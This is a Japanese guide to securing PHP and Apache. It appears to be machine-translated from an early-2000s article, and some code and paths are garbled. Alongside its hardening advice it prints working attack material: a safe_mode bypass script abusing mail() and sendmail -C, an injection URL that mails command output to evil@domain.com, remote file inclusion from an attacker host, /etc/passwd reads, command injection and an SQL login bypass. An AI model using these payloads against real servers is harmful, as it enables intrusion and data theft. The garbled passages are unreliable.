PHP セキュリティ構成
1. Web サーバーのセキュリティ
PHP は実際には Web サーバーのモジュール機能にすぎないため、最初に Web サーバーのセキュリティを確保する必要があります。もちろん、Web サーバーの安全性を確保するには、まずシステムのセキュリティを確保する必要がありますが、それはかなり先の話です。 PHP はさまざまな Web サーバーと組み合わせることができますが、ここでは Apache についてのみ説明します。 Apache を chroot モードでインストールして起動することを強くお勧めします。この方法では、Apache、PHP、およびそのスクリプトに脆弱性がある場合でも、影響を受けるのは制限されたシステムのみであり、実際のシステムには影響しません。ただし、chrooted Apache を使用すると、アプリケーションに特定の問題が発生します。たとえば、mysql に接続する場合、ソケット接続に localhost ではなく tcp を使用して接続する必要があり、これは若干効率が悪くなります。 php.ini で次のようにメールを送信する場合にも問題があります。
[mail function]
; Win32 のみ。
SMTP = localhost
; Win32 のみ。
sendmail_from = me@localhost.com
はすべて Win32 プラットフォーム用であるため、sendmail は chroot 環境で調整する必要があります。
2. PHP 自体の問題
1. リモート オーバーフロー
PHP-4.1.2 より前のすべてのバージョンにはファイル アップロードのリモート バッファ オーバーフローの脆弱性があり、攻撃プログラムには広く配布されており、成功率は非常に高いです:
http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt
2. リモートのサービス拒否
PHP-4.2.0 および PHP-4.2.1 には、ローカル ユーザーの権限を取得できませんが、PHP のマルチパート/フォームデータの POST リクエスト処理にリモートの脆弱性があります。サービス拒否を引き起こす可能性もあります。
3. セーフモードバイパスの脆弱性
PHP-4.2.2 以前から PHP-4.0.5 バージョン、バージョン 4.0.5 にはセーフモード制限実行コマンドの脆弱性をバイパスする PHP メール機能が存在します。 start mail 関数は 5 番目のパラメータを追加します。設計者の不注意のため、コマンドはセーフモードの制限を超えて実行される可能性があります。バージョン 4.0.5 の画期的な点は非常に簡単で、セミコロンで区切ってシェル コマンドを追加するだけです。たとえば、PHP スクリプト evil.php:
,"foo ","bar","",$bar);
次の URL を実行します:
http://foo.com/evil.php?bar= ;/usr /bin/id|mail evil@domain.com
これにより、id の実行結果が evil@domain.com に送信されます
PHP 4.0.6 から 4.2.2 が壊れる場合実際には、sendmail の -C パラメータが使用されるため、システムは sendmail を使用する必要があります。次のコードは、safe_mode 制限を突破してコマンドを実行できます:
#次の 2 つは存在してはならず、それらの所有者がこのスクリプトの所有者と同じであることに注意してください
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$ #local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script , "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody ", "", "", "", "-C$cf");
?>
上記の問題のあるバージョンの PHP を依然として使用しているユーザーはアップグレードする必要があります基本的なセキュリティ問題を排除できるよう、時間内に最新バージョンに更新する
3. PHP 自体のセキュリティ構成
PHP の構成は非常に柔軟で、php.ini、httpd.conf を通じて構成できます。 、.htaccess ファイル (このディレクトリを設定する必要があります)、AllowOverride All または Options)、スクリプト内で ini_set() およびその他の特定の関数を使用することもできます。構成オプションの値は、phpinfo() および get_cfg_var を通じて取得できます。 () 関数は、設定オプションが唯一の PHP_INI_SYSTEM 属性である場合、php.ini および httpd.conf を通じて変更する必要があります。ただし、変更を有効にするには、Apache を再起動する必要があります。 php.ini に設定されたオプションは Web サーバー内のすべてのスクリプトに有効であり、httpd.conf に設定されたオプションは、定義されたディレクトリ内のすべてのスクリプトに有効です。
他の PHP_INI_USER、PHP_INI_PERDIR、PHP_INI_ALL 属性オプションがある場合は、.htaccess ファイルを使用してそれらを設定するか、スクリプト自体で ini_set() 関数を使用してそれらを設定できます。値を変更すると、すぐに有効になります。ただし、.htaccess は現在のディレクトリにあるスクリプト プログラムに対してのみ有効であり、ini_set() 関数はスクリプト プログラムに対して ini_set() 関数を設定した後のコードに対してのみ有効です。各バージョンのオプション属性は異なる場合があります。次のコマンドを使用して現在のソース コードの main.c ファイルを検索し、すべてのオプションとその属性を取得できます。
# grep PHP_INI_ /PHP_SRC/main /main.c
PHP のセキュリティ構成について説明する前に、PHP のセーフモード モードについてよく理解しておく必要があります。
1.safe_mode
safe_mode は唯一の PHP_INI_SYSTEM 属性であり、php.ini または httpd.conf を通じて設定する必要があります。セーフモードを有効にするには、php.ini を変更するだけです:
safe_mode = On
または httpd.conf を変更してディレクトリを定義します:
オプション FollowSymLinks
php_admin_valuesafe_mode 1
safe_mode は、Apache の再起動後に有効になります。セーフモードを有効にすると、多くの PHP 機能、特にシステム関連のファイルを開く、コマンドの実行、その他の機能が制限されます。
ファイルを操作するすべての関数は、スクリプトと同じ UID を持つファイルのみを操作します。たとえば、test.php スクリプトの内容は次のとおりです:
いくつかのファイルの属性は次のとおりです:
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr -x 16 ルート root 384 Jul 18 12:02 ..
-rw-r--r-- 1 ルート root 4110 2002 年 10 月 26 日index.html
-rw-r- -r-- 1 www-data www-data 41 Jul 19 19:14 test.php
ブラウザで test.php をリクエストすると、次のエラー メッセージが表示されます:
警告: セーフ モード制限が適用されています。uid/gid が 33/33 のスクリプトは、/var/www/test.php の 1 行目
の uid/gid 0/0 が所有する ./index.html にアクセスできません。操作したファイルが置かれているディレクトリのUIDがスクリプトのUIDと同じであるため、UIDがスクリプトと異なっていてもファイルにアクセスできます。これはPHPの脆弱性なのか、それとも別の隠れたものがあるのか疑問です。理由。したがって、php スクリプトの所有者であるユーザーがこの目的にのみ使用することをお勧めします。これにより、safe_mode の効果が得られなくなります。
GID 比較を緩和したい場合は、safe_mode_gid をオンにしてファイルの GID の比較のみを検討できます:
safe_mode_gid = On
。
safe_mode を設定すると、すべてのコマンド実行機能が php.ini のsafe_mode_exec_dir で指定されたディレクトリ内のプログラムの実行に制限され、shell_exec および `ls -l` によるコマンドの実行が禁止されます。本当に他のプログラムを呼び出す必要がある場合は、php.ini で次の設定を行うことができます:
safe_mode_exec_dir = /usr/local/php/exec
次に、プログラムをこのディレクトリにコピーします。その後、php スクリプトはシステムおよびその他の関数を使用してプログラムを実行できます。さらに、このディレクトリ内のシェル スクリプトは、引き続き他のディレクトリ内のシステム コマンドを呼び出すことができます。
safe_mode_include_dir string
このディレクトリとそのサブディレクトリからファイルをインクルードする場合、UID/GID チェックをバイパスします (ディレクトリは include_path に存在するか、フルパスでインクルードされる必要があります)。
PHP 4.2.0 以降、このディレクティブは、単なるディレクトリではなく、include_path ディレクティブと同様のスタイルでセミコロン区切りのパスを受け入れることができます。
で指定される制限は、実際にはディレクトリ名ではなくプレフィックスです。これは、「safe_mode_include_dir = /dir/incl」により、「/dir/include」および「/dir/incls」が存在する場合、それらへのアクセスが許可されることを意味します。特定のディレクトリへのアクセスを制限したい場合は、「safe_mode_include_dir = /dir/incl/」のように末尾にスラッシュを追加します。
safe_mode_allowed_env_vars string
特定の環境変数を設定すると、セキュリティ侵害の可能性があります。このディレクティブには、カンマで区切られたプレフィックスのリストが含まれます。セーフ モードでは、ユーザーは、ここで指定されたプレフィックスが名前に付いている環境変数のみを変更できます。デフォルトでは、ユーザーは PHP_ で始まる環境変数のみを設定できます (例: PHP_FOO = BAR)。
注: このディレクティブが空の場合、PHP ではユーザーが任意の環境変数を変更できるようになります。
safe_mode_protected_env_vars string
このディレクティブには、エンド ユーザーが putenv() を使用して変更できない環境変数のカンマ区切りのリストが含まれています。これらの変数は、safe_mode_allowed_env_vars で許可された変更が設定されている場合でも変更できません。
safe_mode は万能薬ではありません (PHP の以前のバージョンでは回避できます) が、未知の攻撃をある程度回避できるセーフ モードをオンにすることを強くお勧めします。ただし、safe_mode を有効にすると多くの制限があり、アプリケーションに影響を与える可能性があるため、調和を図るためにコードと構成を調整する必要があります。セーフモードにより制限またはブロックされる機能については、PHPのマニュアルを参照してください。
safe_mode について説明した後、プログラム コードで発生する可能性のある実際の問題に基づいて PHP サーバーを構成することで脆弱性を回避する方法について説明します。
2. 変数の不正使用
PHP のデフォルトでは、GET、POST、Cookie、Environment、Session の変数をグローバル変数として直接登録できます。登録順序は、variables_order = "EGPCS" (php.ini を通じて変更可能) です。同じ名前の variables_order の右側が左側を覆っているため、変数を乱用するとプログラムが混乱しやすくなります。さらに、スクリプト プログラマは、変数を初期化する習慣がないことがよくあります。次のようなプログラム スニペットは、攻撃に対して非常に脆弱です。 $pass == "hello")
$auth = 1;
if ($auth == 1)
echo "いくつかの重要な情報";
else
echo "何もありません";
?>
攻撃者は、次のリクエストを行うだけでチェックを回避できます:
http://victim/test_1.php?auth=1
これは非常に弱い間違いですが、phpnuke のリモート ファイル コピーの脆弱性など、いくつかのよく知られたプログラムでもこの間違いが犯されています: http://www.securityfocus.com/bid/3361
PHP-When 4.1 .0 がリリースされましたが、さまざまな変数を使用するために register_globals をオフにし、7 つの特別な配列変数を提供することが推奨されました。 GET、POST、COOKIE などの変数は変数として直接登録されないため、配列変数を通じてアクセスする必要があります。 PHP-4.2.0 がリリースされたとき、php.ini のデフォルト設定は register_globals = Off でした。これにより、プログラムは PHP 自体によって初期化されたデフォルト値 (通常は 0) を使用できるようになり、攻撃者が判断変数を制御するのを防ぎます。
解決策:
設定ファイル php.ini は register_globals = Off に設定します。
プログラマはプログラムの開始時に判定変数の値を初期化する必要があります。
3. ファイルを開く
非常に脆弱なコード スニペット:
//test_2.php
if (! ($str = readfile("$filename"))) {
echo("ファイルを開けませんでした: $filename
n");
exit;
}
else {
echo $ str;
}
?>
攻撃者は任意の $filename を指定できるため、攻撃者は次のリクエストで /etc/passwd を参照できます:
http:// victim/test_2.php?filename=/etc/passwd
次のリクエストは php ファイル自体を読み取ることができます:
http://victim/test_2.php?filename= test_2.php
PHP のファイルを開く関数には、fopen()、file() などが含まれます。ファイル名変数が厳密にチェックされていない場合、サーバー上の重要なファイルがアクセスされ、読み取られてしまいます。
解決策:
特に必要がない限り、PHP ファイルの操作を Web ディレクトリに制限します。以下は、Apache 設定ファイル httpd.conf を変更する例です:
php_admin_value open_basedir /usr/local/apache/htdocs
< ;/ Directory>
Apache を再起動した後、/usr/local/apache/htdocs ディレクトリ内の PHP スクリプトは独自のディレクトリ内のファイルのみを操作できます。それ以外の場合、PHP はエラーを報告します:
警告: open_basedir 制限が有効です。ファイルは、xx 行目の xxx にある間違ったディレクトリにあります。
セーフ モード モードを使用すると、前に説明したこの問題を回避できます。
4. 含まれるファイル
非常に脆弱なコード スニペット:
//test_3.php
if(file_exists ($filename) ))
include("$filename");
?>
この種の無責任なコードは、攻撃者が /etc/passwd ファイルを取得する可能性があります:
http://victim/test_3.php?filename=/etc/passwd
Unix バージョンの PHP の場合 (Win バージョンの PHP はリモートでファイルを開くことをサポートしていません)、攻撃者はシェルを含むファイルを作成できます。 http または ftp サービスが有効になっているマシン上でコマンドを実行する場合、たとえば http://攻撃/攻撃.txt の内容が である場合、次のリクエストを実行できます。ターゲット ホスト上のコマンド ls /etc:
http://victim/test_3.php?filename=http://攻撃/攻撃.txt
攻撃者 コードを取得することもできます。 Apache のログ ファイル access.log と error.log を含めてコマンドを実行します。ただし、干渉情報が多すぎるため、成功するのが難しい場合があります。
別の形式の場合は、次のコード スニペット:
//test_4.php
include("$lib/config.php");
?>
攻撃者は、自分のホスト上でコマンド実行コードを含む config.php ファイルを作成し、次のリクエストを使用してターゲット ホスト上でコマンドを実行できます:
http :/ /victim/test_4.php?lib=http://攻撃
PHP のインクルード関数には、include()、include_once()、require()、require_once などがあります。ファイル名を含む変数が厳密にチェックされないと、システムに重大な危険が生じ、コマンドがリモートで実行される可能性があります。
解決策:
ファイルにパラメーターを含める場合は変数を使用しないようにプログラマに要求します。変数を使用する場合は、含めるファイル名を厳密にチェックする必要があり、任意に指定してはなりません。ユーザー。
上で述べたように、ファイルを開く際の PHP 操作パスの制限は必須のオプションです。また、特に必要がない限り、PHP のリモートファイルオープン機能は必ずオフにしてください。 php.ini ファイルを変更します:
allow_url_fopen = Off
Apache を再起動します。
5. ファイルのアップロード
php のファイル アップロード メカニズムは、ユーザーがアップロードしたファイルを php.ini の Upload_tmp_dir で定義された一時ディレクトリに保存します (デフォルトは、次のようなシステムの一時ディレクトリです)。 : /tmp ) を phpxXuoXG のようなランダムな一時ファイルに保存します。プログラムの実行が終了すると、一時ファイルも削除されます。 PHP は、アップロードされたファイルに対して 4 つの変数を定義します (たとえば、フォーム変数名は file で、
$file file_size #アップロードされたファイルのサイズ
$file_name #元の名前アップロードされたファイルの
$file_type #アップロードされたファイルのタイプ
推奨される使用法:
$HTTP_POST_FILES['file'][ 'tmp_name']
$HTTP_POST_FILES['file']['size']
$HTTP_POST_FILES['file']['name']
$HTTP_POST_FILES['file']['type']
これは最も単純なファイルアップロードコード:
//test_5.php
if(isset($upload) && $file != "none") {
copy ($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "File".$file_name." アップロードに成功しました! ";
exit;
}
?>
このようなコードをアップロードすると、任意のファイルの読み取りやコマンドの実行に大きな問題が発生します。
次のリクエストにより、/etc/passwd ドキュメントを Web ディレクトリ /usr/local/apache/htdocs/test の下の Attack.txt ファイルにコピーできます (注: このディレクトリは誰も書き込み可能であってはなりません):
http://victim/test_5.php?upload=1&file=/etc/passwd&file_name=攻撃.txt
次に、次のリクエストでパスワード ファイルを読み取ることができます:
http ://victim /test/攻撃.txt
攻撃者は php ファイルを他の拡張機能にコピーし、スクリプトのソース コードを漏洩する可能性があります。
攻撃者はフォーム内の file_name 変数の値をカスタマイズし、書き込み権限のあるファイルをアップロードして上書きすることができます。
攻撃者は、PHP スクリプトをアップロードしてホストのコマンドを実行することもできます。
解決策:
PHP-4.0.3 以降では is_uploaded_file 関数と move_uploaded_file 関数が提供されており、操作されたファイルがユーザーによってアップロードされたファイルかどうかを確認できるため、システム ファイルが Web にコピーされることを回避できます。ディレクトリ。
$HTTP_POST_FILES 配列を使用して、ユーザーがアップロードしたファイル変数を読み取ります。
アップロード変数を厳密にチェックします。たとえば、php スクリプト ファイルは許可されません。
PHP スクリプトの操作を Web ディレクトリに制限すると、プログラマーがコピー機能を使用してシステム ファイルを Web ディレクトリにコピーできなくなる可能性があります。 move_uploaded_file は open_basedir によって制限されないため、php.ini の Upload_tmp_dir の値を変更する必要はありません。
コピー操作によるソースコードの漏洩を避けるために、phpencode を使用して PHP スクリプトを暗号化します。
ファイルとディレクトリのアクセス許可を厳密に構成し、アップロードされたディレクトリへの書き込みを許可しないユーザーのみを許可します。
アップロード ディレクトリの PHP 解釈機能を削除するには、httpd.conf を変更します:
php_flag エンジンをオフ
#If php3 を php3_engine off
に置き換えて Apache を再起動すると、アップロード ディレクトリ内の php ファイルが Apache で解釈できなくなります。ソースコードは直接表示するだけで問題ありません。
6. コマンドの実行
次のコード スニペットは PHPNetToolpack から抽出されたものです。詳細については、
http://www.securityfocus.com/bid/ を参照してください。 4303
//test_6.php
system("traceroute $a_query",$ret_strs);
?>
プログラムは $a_query 変数をフィルタリングしないため、攻撃者はセミコロンを使用して実行コマンドを追加できます。
攻撃者は、次のリクエストを入力することで cat /etc/passwd コマンドを実行できます:
http://victim/test_6.php?a_query=www.example.com;cat /etc /passwd
PHP のコマンド実行関数には、system()、passthru()、popen()、`` などがあります。コマンド実行機能は非常に危険ですので、使用には十分注意してください。これを使用する場合は、ユーザー入力を厳密にチェックする必要があります。
解決策:
プログラマは、escapeshellcmd() 関数を使用して、ユーザーが入力したシェル コマンドをフィルタリングする必要があります。
safe_mode を有効にすると、コマンド実行時の多くの問題を解決できますが、PHP のバージョンが最新である必要があることに注意してください。PHP-4.2.2 より小さいバージョンでは、コマンドを実行するために、safe_mode の制限が回避される可能性があります。
7. sql_inject
変数が処理されない場合、次の SQL ステートメントには問題が発生します:
select * from login where user='$user' and pass= ' $pass'
攻撃者は、ユーザー名とパスワードの両方に 1' または 1='1 を入力して検証を回避できます。
ありがたいことに、PHP にはデフォルトのオプション magic_quotes_gpc = On があり、これにより、addlashes() 操作が GET、POST、COOKIE の変数に自動的に追加されます。上記の SQL ステートメントは次のようになります:
select * from login where user='1' or 1='1' and pass='1' or 1='1'
したがって、このタイプは回避されます。 sql_inject 攻撃の。
数値フィールドの場合、多くのプログラマーは次のように記述します:
select * from test where id=$id
変数が一重引用符で囲まれていないため、sql_inject 攻撃が発生します。幸いなことに、MySQL には単純な関数があり、sqlserver などのデータベースにはコマンドを実行するための SQL ステートメントはなく、PHP の mysql_query() 関数では 1 つの SQL ステートメントしか実行できないため、複数の SQL ステートメントをセミコロンで区切る攻撃は機能しません。しかし、攻撃者は少なくともクエリ ステートメントを間違ったり、システムに関する情報を漏洩したり、予期せぬ状況を引き起こしたりする可能性があります。
解決策:
SQL ステートメントに含めるユーザーによって送信されたすべての変数をプログラマがフィルタリングするように要求します。
それが数値フィールドであっても、変数は一重引用符で囲む必要があります。MySQL 自体が文字列を数値に処理します。
MySQL では、PHP プログラムに対する高レベルの権限をユーザーに与えず、自分のライブラリに対する操作のみを許可します。これにより、プログラムに問題がある場合の SELECT INTO OUTFILE... などの攻撃も回避されます。
8. 警告とエラー メッセージ
PHP はデフォルトですべての警告とエラー メッセージを表示します:
error_reporting = E_ALL & ~E_NOTICE
display_errors = On
これは、通常の開発およびデバッグ中に、警告メッセージに基づいてプログラムのエラーをすぐに見つけることができ、非常に便利です。
正式に適用されると、警告メッセージとエラー メッセージにユーザーは圧倒され、スクリプトの物理パスが攻撃者に漏洩し、さらなる攻撃に有益な情報が攻撃者に提供されます。そして、間違った場所にアクセスしなかったため、プログラムのエラーを修正するのが間に合わなくなりました。したがって、物理パスが攻撃者に漏洩しないようにするだけでなく、プログラムのエラーがどこにあるのかを自分自身で知るためにも、PHP のすべての警告およびエラー情報をログ ファイルに記録することが非常に賢明です。
php.ini のエラー処理とログ部分を変更します:
error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/apache /logs/php_error.log
次に、Apache を再起動します。ファイル /usr/local/apache/logs/php_error.log は、nobody ユーザーによって書き込み可能でなければならないことに注意してください。
9. disable_functions
一部の関数が依然として脅威であると思われる場合は、次のように php.ini で disable_functions を設定できます (このオプションは httpd.conf では設定できません)。 >
disable_functions = phpinfo, get_cfg_var
カンマで区切って複数の関数を指定できます。 Apache を再起動すると、phpinfo 関数と get_cfg_var 関数が無効になります。 phpinfo 関数と get_cfg_var 関数は、サーバー情報が漏洩しやすいため、実用的ではありませんので、閉じることをお勧めします。
10. disable_classes
このオプションは、PHP-4.3.2 以降でのみ使用可能です。複数のクラス名がある場合は、それらをカンマで区切ります。 disable_classes は httpd.conf で設定できず、php.ini 設定ファイルでのみ変更できます。
11. open_basedir
先ほどルーチンを分析した際に、open_basedir を使用してスクリプトの操作パスを制限することについても何度も述べましたが、ここでその特徴を紹介します。 open_basedir で指定される制限は、実際にはディレクトリ名ではなくプレフィックスです。これは、「open_basedir = /dir/incl」により、「/dir/include」および「/dir/incls」が存在する場合には、それらへのアクセスも許可されることを意味します。指定したディレクトリのみへのアクセスを制限したい場合は、パス名の末尾にスラッシュを付けます。例: 「open_basedir = /dir/incl/」。
Windows では、ディレクトリをセミコロンで区切って複数のディレクトリを設定できます。他のシステム上のディレクトリを区切るにはコロンを使用します。 Apache モジュールとして使用する場合、親ディレクトリの open_basedir パスが自動的に継承されます。
4. その他のセキュリティ設定
1. 一般的に使用される重要なシステム コマンドに対する他のユーザーの読み取り、書き込み、実行権限をキャンセルします
一般的な管理者のメンテナンスに必要なのは、通常の 1 つのみです。ユーザーと管理 ユーザーは、これら 2 人のユーザーに加えて、他のユーザーに実行およびアクセスできる権限をできるだけ少なくする必要があります。そのため、一般的に使用される重要なシステム コマンドに対する他のユーザーの読み取り、書き込み、および実行の権限をキャンセルすると、許可が与えられる可能性があります。攻撃者がプログラムやサービスの脆弱性を悪用する機会が与えられ、大きな混乱が生じます。読み取り権限を必ず削除してください。削除しないと、/lib/ld-linux.so.2 /bin/ls を使用して Linux で実行できます。
chroot 環境でプロセスをキャンセルする場合、このタスクは簡単に実行できます。そうでない場合、このタスクはまだ多少困難です。一部のプログラムの実行権限を取り消すと、一部のサービスが異常動作する可能性があるためです。 PHP のメール関数では、レターを送信するために /bin/sh が sendmail を呼び出す必要があるため、/bin/bash の実行権限を削除することはできません。これは面倒な作業です。
2. Apache ログから他のユーザーの読み取り権限を削除します。
Apache のアクセス ログは、ローカルの脆弱性を含む一部のプログラムに便利なドアを提供します。 PHP コードを含む URL を送信すると、アクセス ログに PHP コードが含まれるようになり、インクルード ファイルをアクセス ログにポイントして、それらの PHP コードを実行してローカル アクセスを取得できます。
他の仮想ホストがある場合は、ログ ファイルに対する他のユーザーの読み取り権限もそれに応じて削除する必要があります。
もちろん、上記のように PHP を設定すると、通常はログ ファイルを読み取ることができなくなります。